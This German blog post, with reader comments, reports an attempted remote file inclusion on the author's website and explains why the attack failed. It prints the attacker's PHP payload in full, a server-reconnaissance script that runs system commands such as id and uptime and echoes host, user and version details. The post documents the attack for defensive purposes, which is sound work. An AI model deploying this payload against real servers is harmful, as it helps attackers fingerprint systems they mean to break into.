Was ein Hacker versucht…

… und warum es hier nicht klappt ;)

Grade in meinem Stattool gesehen, dass jmd versucht hat, über einen typischen Includelink (?page=link) eine Datei bei mir auf dem Webspace auszuführen (der Versuch war btw auf meiner statischen Page, nicht im WordPress…)

Hier der Inhalt der Datei:

<?
echo "BraT<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "0wnW4y<br>";
exit;
?>

Leider leider leider kann man diesen Code und den Include aus mehreren Gründen bei mir vergessen…

1. gibt es bei mir keine $_GET["page"] und wenn es eine gäbe, würde diese gefiltert…

2. ein Teil der Befehle, welche oben ausgeführt werden, sind durch Nenad gesperrt

3. Short Open Tags? Klar, sowas werd ich verwenden… weil die so Zukunftsweisend sind und bei den nächsten php-Versionen noch vorhanden sein werden ;)

Auf jeden Fall ging dieser Angriff ins Leere (bzw diese Angriffe, es waren 2 an der Zahl)… ich werde weiterhin ein Auge darauf haben… Ach ja, die Datei wurde von einer seriösen Seite aus includiert… soll ich die warnen?

So long, and thanks for all the fish (and fun mit dem “Hacking” ;) )

4 Kommentare zu “Was ein Hacker versucht…”

  1. bloodywing sagt:

    Es geht auch nicht, weil externe Includes nicht funktionieren. Das einzigEffektive was noch geht sind sql-injections, POST und Cookiemanipulation.

  2. Kabarakh sagt:

    Stimmt, an externen Verbot hab ich schon nich mehr gedacht… wobei… is ja eigentlich bei Punkt 2 dabei :P

  3. Atsutane sagt:

    “Hacker”? Das waren wohl eher ein paar Script Kiddies oder? ;)

  4. Sascha sagt:

    REQUEST, what the fuck is REQUEST ;)

Kommentieren